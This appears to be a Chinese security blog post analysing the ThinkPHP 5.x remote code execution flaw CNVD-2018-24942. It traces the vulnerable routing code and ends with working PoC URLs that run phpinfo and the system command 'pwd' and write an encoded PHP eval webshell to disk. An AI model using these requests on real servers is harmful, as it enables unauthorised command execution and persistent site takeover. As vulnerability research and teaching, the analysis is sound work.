waring

本文提供思路和方法可能带有攻击性,仅供安全研究与教学之用,风险自负!

第一次写分析,写的不是很清晰,各位大佬见谅!!

title

CNVD-2018-24942 ThinkPHP RCE POC

vulnerable version

ThinkPHP 5.0—5.1

fix

ver:5.0.x Fix: github

ver:5.1.x Fix: github

vulnerable code

ver:5.1+

Web入口

library/think/App.php

imgs

跟进$dispatch = $this->routeCheck()->init();

routeCheck()调用
$path = $this->request->path();调用pathinfo();

imgs

分析代码可知,这里可以通过构造s参数,可控制pathinfo,再回看path方法,导致$this->path可控

$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);

之后调用 new Url

  class Url extends Dispatch
{
    public function init()
    {
        // 解析默认的URL规则
        $result = $this->parseUrl($this->dispatch);

        return (new Module($this->request, $this->rule, $result))->init();
}

调用$this->parseUrl,返回result数组分别由是$module,$controller,$action

imgs

跟进new Module 构造 如下图所示,最终完成调用链

imgs

程序未对控制器进行过滤,这一套调用不得不说这个构造太精妙了!

poc

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=getshell.php&vars[1][]=%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%6c%6f%72%64%73%6b%79%27%5d%29%3b%20%3f%3e

姿势有很多,可以执行系统命令是不是可以反弹shell
(getshell,原理很简单,file_put_contents 写入一句话,需要目录有可写权限,正常情况下测试失败,因目录不可写)

think

这个漏洞据说大佬玩了一年之久,漏洞原理本身并不复杂,但是之前却没有人发现或上报,是说安全人员的能力太弱,还是挖到之后流入黑产让人深思,以后应该多多学习框架分析CVE,从前人的脚步中不断学习和进步。

reference

thinkphp_5.x_(v5.0.23及v5.1.31以下版本)_远程命令执行漏洞利用

ThinkPHP5 远程代码执行漏洞分析

1 对 “CNVD-2018-24942 ThinkPHP RCE POC”的想法;

发表评论

电子邮件地址不会被公开。 必填项已用*标注